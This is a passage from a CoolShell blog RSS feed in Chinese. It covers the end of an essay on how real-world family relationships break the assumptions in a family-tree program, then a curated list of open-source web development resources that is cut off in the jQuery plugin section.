tree是一个tree，其实并不是tree。<strong>Assumption是魔鬼</strong>。</p>\n<p>还有一些经典的Assumption如下所示</p>\n<ul>\n<li>最著名的就是那个y2k臭虫。</li>\n<li>不要以为没有2月30日，在瑞典1712年有2月30日</li>\n<li>一分钟有60秒？闰秒呢？</li>\n<li>双胞胎的生日是同一天吗？</li>\n<li>双胞胎的父亲是同一个？</li>\n<li>性别只有男和女？</li>\n<li>婚姻只能是异性？ 关于这一点，推荐一篇强文——<a href=\"http://qntm.org/gay\" target=\"_blank\">Gay marriage: the database engineering perspective</a> (同性婚姻：数据库工程)</li>\n</ul>\n<h4><strong>2）没有认真分析用户案例</strong>（Use Case）</h4>\n<p>在设计软件时，我们需要考虑各种各样的用户案例，比如如下的东西：</p>\n<ul>\n<li>私生子的问题</li>\n<li>一夫多妻或一妻多夫，同父异母，同母异父</li>\n<li>就算一夫多妻制违反法律，也会有离异再婚的情况</li>\n<li>同性恋的问题，虽然不能繁衍，但可以领养。</li>\n<li>换妻活动</li>\n<li>各种乱伦关系——这种东西那个民族都不少，尤其是古时候，比如：\n<ul>\n<li>先后嫁了两个人其是父子关系（昭君）</li>\n<li>达尔文同学和他的表妹，爱因斯坦的二婚是和他的表姐，埃及艳后嫁了她的弟弟，……</li>\n<li>顺治同学娶了四个老婆，这四个人还是一家人：姑姑，侄女，妹妹，女儿。（<a href=\"http://blog.sina.com.cn/s/blog_5e62ac110100onwa.html\" target=\"_blank\">参看这里</a>）</li>\n<li>刘邦同学的母后干出来的事，相当变态（<a href=\"http://bbs.tiexue.net/post2_5114346_1.html\" target=\"_blank\">参看这里</a>）</li>\n<li>中国古代的“扒灰老” （类似于楼主那个问题的Use Case）</li>\n</ul>\n</li>\n</ul>\n<p><strong>不想再列下去了，人类真TMD恶心，有点要吐了</strong>。</p>\n<p style=\"text-align: center;\">——————————为了缓解一下恶心的气氛，请允许我插入一个搞笑短文——————————</p>\n<blockquote><p>一位自杀者在他的遗书里讲述了他自杀的原因，听起来实在让人头痛。遗书这样写道：“我和一个寡妇结了婚，她有一个已成年的女儿，我父亲跟我妻子带过来的女儿结了婚。所以我父亲就成了我的女婿，女儿就成了我的后母，我管父亲叫爸爸，而我父亲也管我叫爸爸；我女儿管我叫爸爸，但我却管她叫妈妈；我还得管我妻子叫姥姥，因为她是我后母的母亲。不久我女儿，也就是我后母生了一个儿子，他是我同父异母的弟弟，他也得管我叫姥爷，因为他也是我的外孙。后来我妻子，也就是我姥姥生了一个儿子，他是我后母的弟弟，我是他的外甥，所以儿子管我叫爸爸，我管儿子叫舅舅。另外我是我妻子，也就是我姥姥的外孙，同时也是我姥姥的丈夫，所已我也是我的外祖父。又因为我妻子是我的外祖母，我的儿子，也就是我的舅舅是我的弟弟和我女儿的弟弟，所以我……我的天哪，这么复杂的关系实在让我伤透了脑筋，我只有一死才能得以解脱……”</p></blockquote>\n<p style=\"text-align: center;\">————————————————————————插入完毕————————————————————</p>\n<p style=\"text-align: left;\">看完上面这个短文，不知道你是否和我一样，觉得这么一个简单的程序将是如此难做啊。<strong>另外，我决定在下一次的面试中让应聘者来设计Family Tree的程序</strong>。</p>\n<p style=\"text-align: left;\">我又说多了，现在还是让我们回到技术上来。除了上面那几个观点，我在回复中还看到了如入一些有意思的回复：</p>\n<ul>\n<li>“我的软件没有bug，是你的生活有bug”——让我想到了<a title=\"程序员惯用的解释(Top 25)\" href=\"https://coolshell.cn/articles/1174.html\" target=\"_blank\">程序员惯用的借口</a></li>\n<li>“算法中不应该加太多的限制，限制多了反而让算法不灵活。”</li>\n<li>“移除断言，并不代表就不出错，对于这种rare case，我们最好给一个Warning提醒用户，让用户确认确实是这样的。”</li>\n<li>“关于解决这个问题，移除那个断言，如果显示上会有问题的话，那就复制一下有不同关系的人就可以了”</li>\n<li>“你真的应该想想你的软件的价值是什么？市场在哪里？你真的要照顾这样的用户吗？”</li>\n</ul>\n<p>挺好的，相信你对软件开发又学到了一些东西。</p>\n<p><span style=\"color: #cc0000;\"><strong>（转载时请勿用于商业目的，并请注明作者和出处）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li><li ><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"多些时间能少写些代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5686.html\" class=\"wp_rp_title\">多些时间能少写些代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4811.html\">软件真的好难做啊</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4811.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>79</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>开源中最好的Web开发的资源</title>\n\t\t<link>https://coolshell.cn/articles/4795.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4795.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 08 Jun 2011 00:28:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS3]]></category>\n\t\t<category><![CDATA[Database]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4795</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>文章来源：Best “must know” open sources to build the new Web。个人感觉这个收集贴收集成相当的全。 学习HTML...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4795.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>文章来源：<a title=\"Best “must know” open sources to build the new Web\" href=\"http://www.b2bweb.fr/molokoloco/best-must-know-ressources-for-building-the-new-web-%E2%98%85/\" target=\"_blank\">Best “must know” open sources to build the new Web</a>。个人感觉这个收集贴收集成相当的全。</p>\n<h4>学习HTML 5编程和设计</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"wallOfWonder\" src=\"http://www.b2bweb.fr/wp-content/uploads/wallOfWonder.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://www.html5rocks.com/\" target=\"_blank\"><strong>HTML5 Rocks</strong></a> : Major Feature Groups  的学习 HTML5 的资源 (HTML5 演示, 教程 ). <a href=\"http://code.google.com/p/html5rocks/\" target=\"_blank\">源码</a></li>\n<li>很不错的 <a href=\"https://mozillademos.org/demos/dashboard/demo.html\" target=\"_blank\"><strong>HTML5 Dashboard</strong></a> &#8211; Mozilla，效果很炫。</li>\n<li><a href=\"http://developers.whatwg.org/\" target=\"_blank\"><strong>WhatWG Developers</strong></a>, 一个清楚的 HTML5 技术规格说明书。</li>\n<li>★ <a href=\"http://stackoverflow.com/\" target=\"_blank\"><strong>StackOverflow</strong></a> : 大名鼎鼎的技术问答式论坛。</li>\n<li>★ <a href=\"http://addyosmani.com/blog/\" target=\"_blank\"><strong>Addyosmani</strong></a>, jQuery 和 JavaScript 文章教程</li>\n<li><a href=\"http://www.sohtanaka.com/web-design-tutorials/\" target=\"_blank\"><strong>Sohtanaka</strong></a>, jQuery 和 JavaScript 文章和教程</li>\n<li>★ <a href=\"http://net.tutsplus.com/category/tutorials/\" target=\"_blank\"><strong>Nettuts+</strong></a> 是一个面对Web开发人员和设计人员的网站，提供各种技术教程和文章，覆盖 HTML, CSS, Javascript, CMS’s, PHP 和 Ruby on Rails.</li>\n<li><a href=\"http://tympanus.net/codrops/\" target=\"_blank\"><strong>Codrops</strong></a>, 教程和 web 资源</li>\n<li><a href=\"http://www.webappers.com/\" target=\"_blank\"><strong>WebAppers</strong></a>, 最好的开源资源</li>\n<li><a href=\"http://tutorialzine.com/\" target=\"_blank\"><strong>Tutorialzine</strong></a> – PHP MySQL jQuery CSS 教程, 资源和赠品</li>\n<li><strong><a href=\"https://developer.mozilla.org/en/JavaScript/Guide\" target=\"_blank\">Mozilla JavaScript guide</a></strong></li>\n<li> <a href=\"http://code.google.com/p/molokoloco-coding-project/\" target=\"_blank\"><strong>codes snippets</strong></a>, 作者自己收集的一些代码片段</li>\n</ul>\n<p><span id=\"more-4795\"></span></p>\n<h4>服务器端的软件</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"nodeJs\" src=\"http://www.b2bweb.fr/wp-content/uploads/nodeJs.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://nodejs.org/\" target=\"_blank\"><strong>Node.js</strong></a> 是服务器端的 JavaScript 环境，其使用了异步事件驱动模式。其让Node.js在很多互联网应用体系结构下获得非常不错的性能。 <a href=\"https://github.com/joyent/node/\" target=\"_blank\">源码</a> 和 <a href=\"http://jsapp.us/\" target=\"_blank\">实时演示</a>。</li>\n<li><a href=\"http://www.phantomjs.org/\" target=\"_blank\"><strong>PhantomJS</strong></a> 也是一个服务器端的 JavaScript API的WebKit。其支持各种Web标准： DOM 处理, CSS 选择器, JSON, Canvas, 和 SVG</li>\n<li><strong><a href=\"http://www.lighttpd.net/\" target=\"_blank\">Lighttpd</a></strong> 一个轻量级的开源Web服务器。新闻，文档，benchmarks, bugs, 和 download. Lighttpd 支撑了几个非常著名的 Web 2.0 网站，如：YouTube, wikipedia 和 meebo.</li>\n<li><strong><a href=\"http://nginx.net/\" target=\"_blank\">NGinx</a></strong>, 性能巨高无比的轻量级的Web服务器。比Apache高多了。花了6年的时间，终于走到了1.0版。</li>\n<li><strong><a href=\"http://httpd.apache.org/\" target=\"_blank\">Apache HTTP Server</a></strong> 是一个很流行的并支持多个流行的操作系统的Web服务器。</li>\n<li>★ <strong><a href=\"http://nodejs.org/\" target=\"_blank\"></a><a href=\"http://www.php.net/\" target=\"_blank\">PHP</a></strong> 可能是最流行的服务器端的Web脚本动态处理语言。</li>\n<li>当然，还有 <strong><a href=\"http://www.ruby-lang.org/fr/\" target=\"_blank\">Ruby</a></strong>, <strong><a href=\"http://www.python.org/\" target=\"_blank\">Python</a></strong>, <strong><a href=\"http://www.erlang.org/\" target=\"_blank\">Erlang</a></strong>, <strong><a href=\"http://www.perl.org/\" target=\"_blank\">Perl</a></strong>, <strong><a href=\"http://www.java.com/fr/\" target=\"_blank\">Java</a></strong>, <strong><a href=\"http://www.microsoft.com/net/\" target=\"_blank\">.NET</a></strong>, <strong><a href=\"http://www.android.com/\" target=\"_blank\">Android</a></strong>, <strong><a href=\"http://cpp.developpez.com/\" target=\"_blank\">C++</a></strong>, <strong><a href=\"http://golang.org/\" target=\"_blank\">Go</a></strong>,<a href=\"https://github.com/pmcelhaney/Mustache.cfc\"></a><strong><a href=\"http://fantom.org/\" target=\"_blank\"> Fantom</a></strong>,<strong><a href=\"http://jashkenas.github.com/coffee-script/\" target=\"_blank\">CoffeeScript</a></strong>, <strong><a href=\"http://www.digitalmars.com/\" target=\"_blank\">D</a></strong>, …</li>\n</ul>\n<h4>PHP 框架和工具</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"drupal\" src=\"http://www.b2bweb.fr/wp-content/uploads/drupal.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://wordpress.org/download/\" target=\"_blank\"><strong>WordPress</strong></a> 是一个基于博客系统的开源软件。参看《<a title=\"WordPress是怎么赢的？\" href=\"https://coolshell.cn/articles/3716.html\" target=\"_blank\">WordPress是怎么赢的？</a>》</li>\n<li><strong><a href=\"http://drupal.org/\" target=\"_blank\">Drupal</a></strong> 是一个内容管理系统 (CMS).</li>\n<li><a href=\"http://www.centurion-project.org/\" target=\"_blank\"><strong>Centurion</strong></a> 是一个新出现的开源 CMS ，一个灵然的 PHP5 Content Management Framework. 使用 Zend Framework, 其组件坚持通用，简单，清楚和可重用的设计原则。</li>\n<li><strong><a href=\"http://www.phpbb.com/\" target=\"_blank\">phpBB</a></strong> 一个开源的论坛（国内的Discuz！更多）</li>\n<li><strong>★ <a href=\"http://simplepie.org/\" target=\"_blank\">SimplePie</a></strong> : 超快的，易用的,  RSS  和 Atom feed PHP解析。</li>\n<li><strong>★ <a href=\"http://phpthumb.gxdlabs.com/\" target=\"_blank\">PHPthumb</a></strong>, PHP 图片处理库</li>\n<li><strong>★ <a href=\"http://phpmailer.worxware.com/\" target=\"_blank\">PHPMailer</a></strong> 强大的全功能的PHP邮件库</li>\n<li><strong><a href=\"http://code.google.com/p/pubsubhubbub/\" target=\"_blank\">PubSubHubbub</a></strong>协议，一个简单，开放， server-to-server 的 pubsub (publish/subscribe) 协议——Atom and RSS的扩展。</li>\n<li>更多的请参看 &#8211; <a title=\"20 你应该知道的PHP库\" href=\"https://coolshell.cn/articles/200.html\" target=\"_blank\">20个你应该知道PHP库</a> 和 <a title=\"9个强大免费的PHP库\" href=\"https://coolshell.cn/articles/455.html\" target=\"_blank\">9个强大免费的PHP库</a></li>\n</ul>\n<h4>数据库</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"sqldesigner\" src=\"http://www.b2bweb.fr/wp-content/uploads/sqldesigner.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://couchdb.apache.org/\" target=\"_blank\"><strong>Apache CouchDB</strong></a> 是一个面向文档的数据库管理系统。它提供以JSON 作为数据格式的REST 接口来对其进行操作，并可以通过视图来操纵文档的组织和呈现。.<a href=\"https://github.com/apache/couchdb\" target=\"_blank\">源码</a>.</li>\n<li><a href=\"http://code.google.com/p/monoql/\" target=\"_blank\"><strong>MonoQL</strong></a> 是一个采用PHP+ExtJS开发的MySQL数据库管理工具。界面极像一个桌面应用程序，支持大部分常用的功能包括：表格设计，数据浏览/编辑，数据导入/导出和高级查询等。</li>\n<li><strong> </strong><a href=\"http://mariadb.org/\"><strong>MariaDB</strong></a> 是<a title=\"MySQL\" href=\"http://www.mysql.com/\" target=\"_blank\">MySQL</a>的一个分支，由MySQL 创始人Monty Widenius 所开发。GPL，用来对抗Oracle所有的MySQL的license的不测。自Oracle收购SUN以来，整个社区对于MySQL前途的担忧就没有停止过。</li>\n<li>★ <a href=\"http://www.sqlite.org/\" target=\"_blank\"><strong>SQLite</strong></a> 不像常见的客户端/服务器结构范例，SQLite引擎不是个程序与之通信的独立进程，而是连接到程序中成为它的一个主要部分。所以主要的通信协议是在编程语言内的直接API调用。这在消耗总量、延迟时间和整体简单性上有积极的作用。整个数据库（定义、表、索引和数据本身）都在宿主主机上存储在一个单一的文件中。它的简单的设计是通过在开始一个事务的时候锁定整个数据文件而完成的。库实现了多数的SQL-92标准，包括事务，就是代表原子性、一致性、隔离性和持久性的（ACID），触发器和多数的复杂查询。不进行类型检查。你可以把字符串插入到整数列中。某些用户发现这是使数据库更加有用的创新，特别是与无类型的脚本语言一起使用的时候。其他用户认为这是主要的缺点。</li>\n<li><strong><a href=\"http://ondras.zarovi.cz/sql/demo/\" target=\"_blank\">SQL 在线设计编辑器</a></strong>，这一节的那个图片就是这个在线编辑器的样子了。一个画数据库图表的在线工具。很强大。</li>\n</ul>\n<h4>API 和 在线数据</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"yql\" src=\"http://www.b2bweb.fr/wp-content/uploads/yql.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li><a href=\"http://www.programmableweb.com/apis/directory\" target=\"_blank\"><strong>ProgrammableWeb</strong></a>, 最流行的Web Services 和 API 目录大全。</li>\n<li><strong><a href=\"http://code.google.com/intl/fr/apis/gdata/docs/directory.html\" target=\"_blank\">Google Data Protocol</a></strong> 一组Google服务的数据服务API。</li>\n<li><a href=\"http://developer.yahoo.com/everything.html\" target=\"_blank\"><strong>Yahoo! Developer Network</strong></a> – APIs 和 Tools</li>\n<li><a href=\"http://pipes.yahoo.com/\" target=\"_blank\"><strong>Yahoo! Pipes</strong></a> 可视化在线编程工具，它是一个用于过滤、转换和聚合网页内容的服务。</li>\n<li>★ The <a href=\"http://developer.yahoo.com/yql/console/\" target=\"_blank\"><strong>Yahoo! Query Language</strong></a> 一个很像 SQL的网页查询工具。</li>\n</ul>\n<h4>在线代码和媒体编辑器</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"jsfiddle\" src=\"http://www.b2bweb.fr/wp-content/uploads/jsfiddle.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://www.coderun.com/\" target=\"_blank\"><strong>CodeRun Studio</strong></a>一个基于JavaScript语言开发的跨平台的集成开发环境，它立足于云计算的设计思路，方便开发者在浏览器端便可以轻松开发、调试和部署网络应用程序。（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1883.html\" target=\"_blank\">Coderun.com 在线开发IDE</a>》）</li>\n<li><a href=\"https://github.com/ajaxorg/cloud9\" target=\"_blank\"><strong>Cloud9 IDE</strong></a> – 一个基于Node.JS构建的JavaScript程序开发Web IDE。它拥有一个非常快的文本编辑器支持为JS, HTML, CSS和这几种的混合代码进行着色显示。</li>\n<li>★ <a href=\"http://jsfiddle.net/\" target=\"_blank\"><strong>jsFiddle</strong></a> – Javascript的在线运行展示框架，这个工具可以有效的帮助web前端开发人员来有效分享和演示前端效果，其简单而强大 (JavaScript, MooTools, jQuery, Prototype, YUI, Glow and Dojo, HTML, CSS)</li>\n<li><strong><a href=\"http://www.akshell.com/\" target=\"_blank\">Akshell</a>，</strong>一种云服务，它使用服务端的JavaScript和在线的IDE帮助开发者进行快速应用程序开发。 它还提供云托管，所以部署是即时的。</li>\n<li><a href=\"http://braincast.nl/samples/jsoneditor/\" target=\"_blank\"><strong>JSONeditor</strong></a>, 一个好用的JSON 编辑器</li>\n<li>★ <a href=\"http://tinymce.moxiecode.com/wiki.php/TinyMCE\" target=\"_blank\"><strong>TinyMCE</strong></a> 一个轻量级的基于浏览器的所见即所得编辑器，支持目前流行的各种浏览器，由JavaScript写成。</li>\n<li><a href=\"http://www.sencha.com/products/designer/\" target=\"_blank\"><strong>Ext Designer</strong></a> 是一个桌面应用工具，帮助你快速开发基于ExtJS 的用户界面。</li>\n<li>★  <strong><a href=\"http://www.lucidchart.com/\" target=\"_blank\">LucidChart</a></strong>，一款基于最新的html5技术的在线图表绘制软件，功能强大，速度快捷，运行此软件需要支持html5的浏览器。</li>\n<li><a href=\"http://balsamiq.com/products/mockups\" target=\"_blank\"><strong>Balsamiq Mockups</strong></a>, 产品设计师绘制线框图或产品原型界面的利器。</li>\n<li><a href=\"http://colorschemedesigner.com/\" target=\"_blank\"><strong>Color Scheme Designer</strong></a> 3 &#8211; 一个免费的线上调色工具</li>\n<li>★ <a href=\"http://pixlr.com/editor/\" target=\"_blank\"><strong>Pixlr</strong></a>, 是一个来自瑞典基于Flash的免费在线图片处理网站。除了操作介面和功能接近Photoshop，还是多语言版本，支持简体中文。（以前<a title=\"在线作图编辑服务\" href=\"https://coolshell.cn/articles/3244.html\" target=\"_blank\">酷壳介绍过</a>）</li>\n<li><a href=\"http://www.aviary.com/\" target=\"_blank\"><strong>Aviary</strong></a>, 是一个基于HTML5 的在线图片处理工具，可以很容易的对图片进行后期处理。 <a href=\"http://developers.aviary.com/\" target=\"_blank\">Aviary API</a></li>\n<li><strong><a href=\"http://www.degraeve.com/favicon/\" target=\"_blank\">Favicon Generator</a>, </strong>线上favicon(16&#215;16)制作工具。</li>\n</ul>\n<h4>代码资源和版本控制</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"github\" src=\"http://www.b2bweb.fr/wp-content/uploads/github.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"https://github.com/\" target=\"_blank\"><strong>GitHub</strong></a> 是一个用于使用Git版本控制系统的项目的基于互联网的存取服务。</li>\n<li><a href=\"http://code.google.com/p/msysgit/\" target=\"_blank\"><strong>Git</strong></a> 是一个由Linus为了更好地管理linux内核开发而创立的分布式版本控制／软件配置管理软件。其巨快无比，高效，采用了分布式版本库的方式，不必服务器端软件支持，使源代码的发布和交流极其方便。</li>\n<li><a href=\"http://code.google.com/\" target=\"_blank\"><strong>Google Code</strong></a> 谷歌公司官方的开发者网站，包含各种开发技术的API、开发工具、以及开发技术参考资料。</li>\n<li><strong><a href=\"http://code.google.com/intl/zh-CN/apis/libraries/\" target=\"_blank\">Google Libraries API</a></strong> Google 将优秀的 JavaScript 框架部署在其 CDN 上，在我们的网站上使用 Google Libraries API 可以加速 JavaScript 框架的加载速度。</li>\n<li><a href=\"http://snipplr.com/\" target=\"_blank\"><strong>Snipplr</strong></a> 一个开放的源代码技巧分享社区，号称Code 2.0。和一般的源码分享网站不同，它针对的并不是大型网站源码，而是一些编程的代码技巧。</li>\n</ul>\n<h4>JavaScript 桌面应用框架</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"jqueryUI\" src=\"http://www.b2bweb.fr/wp-content/uploads/jqueryUI.jpg\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://jquery.com/\" target=\"_blank\"><strong>jQuery</strong></a> 是一个快速、简单的JavaScript library， 它简化了HTML 文件的traversing，事件处理、动画、Ajax 互动，从而方便了网页制作的快速发展。  <a href=\"https://github.com/jquery/jquery\" target=\"_blank\">源码</a>, <a href=\"http://api.jquery.com/\" target=\"_blank\">API</a>, <a href=\"http://api.jquery.com/browser/\" target=\"_blank\">API浏览</a>, <a href=\"http://interface.eyecon.ro/docs/animate\" target=\"_blank\">很不错的文档</a>.</li>\n<li>★ 官方的 <a href=\"http://jqueryui.com/\" target=\"_blank\"><strong>jQuery User Interface (UI) library</strong></a> (演示和文档). <a href=\"https://github.com/jquery/jquery-ui%20\" target=\"_blank\">源码</a>,<a href=\"http://jqueryui.com/themeroller/\" target=\"_blank\">Themes Roller</a>, <a href=\"http://jqueryui.com/download\" target=\"_blank\">Download</a>.</li>\n<li><a href=\"http://developer.yahoo.com/yui/2/\" target=\"_blank\"><strong>YUI 2</strong></a> — Yahoo! User Interface Library</li>\n<li><a href=\"http://mootools.net/\" target=\"_blank\"><strong>Mootools</strong></a>, 一个超级轻量级的 web2.0 JavaScript framework</li>\n<li><a href=\"http://www.prototypejs.org/\" target=\"_blank\"><strong>Prototype</strong></a> 提供面向对象的Javascript和AJAX</li>\n<li><a href=\"http://dojotoolkit.org/\" target=\"_blank\"><strong>Dojo</strong></a> The Dojo Toolkit，一个强大的无法被打败的面向对象JavaScript框架。主要由三大模块组成：Core、Dijit、DojoX。Core提供Ajax,events,packaging,CSS-based querying,animations,JSON等相关操作API。Dijit是一个可更换皮肤，基于模板的WEB UI控件库。DojoX包括一些创新/新颖的代码和控件：DateGrid，charts，离线应用，跨浏览器矢量绘图等。</li>\n<li>★ <a href=\"http://dev.sencha.com/deploy/ext-4.0.0/docs/\" target=\"_blank\"><strong>Ext JS 4</strong></a>, 业内最强大的 JavaScript framework。</li>\n<li><a href=\"http://phpjs.org/functions/index\" target=\"_blank\"><strong>PHP.js</strong></a>, 一个开源的JavaScript 库，它尝试在JavaScript 中实现PHP 函数。在你的项目中导入<em>PHP.JS</em> 库，可以在静态页面使用你喜欢的PHP 函数。</li>\n</ul>\n<h4>JavaScript 移动和触摸框架</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"senchatouch\" src=\"http://www.b2bweb.fr/wp-content/uploads/senchatouch.png\" alt=\"\" width=\"600\" height=\"238\" /></p>\n<ul>\n<li>★ <a href=\"http://jquerymobile.com/\" target=\"_blank\"><strong>jQuery Mobile</strong></a> : 是 jQuery 在手机上和平板设备上的版本。jQuery Mobile 不仅会给主流移动平台带来jQuery核心库，而且会发布一个完整统一的jQuery移动UI框架。支持全球主流的移动平台。jQuery Mobile开发团队说：能开发这个项目，我们非常兴奋。移动Web太需要一个跨浏览器的框架，让开发人员开发出真正的移动Web网站。我们将尽全力去满足这样的需求。 <a href=\"https://github.com/jquery/jquery-mobile\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://zeptojs.com/\" target=\"_blank\"><strong>Zepto.js</strong></a> Zepto.js 是支持移动WebKit浏览器的JavaScript框架，具有与jQuery兼容的语法。2-5k的库，通过不错的API处理绝大多数的基本工作。 <a href=\"https://github.com/madrobby/zepto\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://microjs.com/\" target=\"_blank\"><strong>MicroJS</strong></a> : Microjs网站应用列出了很多轻量的Javascript类库和框架，它们都很小，大部分小于5kb。这样你不需要因为只需要一个功能就要加载一个JS的框架。</li>\n<li>★ <a href=\"http://phonegap.com/\" target=\"_blank\"><strong>PhoneGap</strong></a> :是一款开源的手机应用开发平台，它仅仅只用HTML和JavaScript语言就可以制作出能在多个移动设备上运行的应用。 <a href=\"https://github.com/phonegap/phonegap\" target=\"_blank\">Sources</a>.</li>\n<li>★ <a href=\"http://www.sencha.com/products/touch/\" target=\"_blank\"><strong>Sencha Touch</strong></a> Sencha Touch 是一个支持多种智能手机平台（iPhone, Android, 和BlackBerry）的 HTML5 框架。Sencha Touch可以让你的Web App看起来像Native App。美丽的用户界面组件和丰富的数据管理，全部基于最新的HTML5和CSS3的 WEB标准，全面兼容Android和Apple iOS设备。</li>\n<li><a href=\"http://jqtouch.com/\" target=\"_blank\"><strong>JQtouch</strong></a>, 是一个jQuery 的插件，主要用于手机上的Webkit 浏览器上实现一些包括动画、列表导航、默认应用样式等各种常见UI效果的JavaScript 库。 <a href=\"http://github.com/senchalabs/jQTouch\" target=\"_blank\">Sources</a>.</li>\n<li><a href=\"http://www.dhtmlx.com/touch/\" target=\"_blank\"><strong>DHTMLX Touch</strong></a> 针对移动和触摸设备的JavaScript 框架。DHTMLX Touch基于HTML5，创建移动web应用。它不只是一组UI 小工具，而是一个完整的框架，可以针对移动和触摸设备创建跨平台的web应用。它兼容主流的web浏览器，用DHTMLX Touch创建的应用，可以在iPad、iPhone、Android智能手机等上面运行流畅。</li>\n</ul>\n<h4>jQuery 插件</h4>\n<p><img decoding=\"async\" loading=\"lazy\" 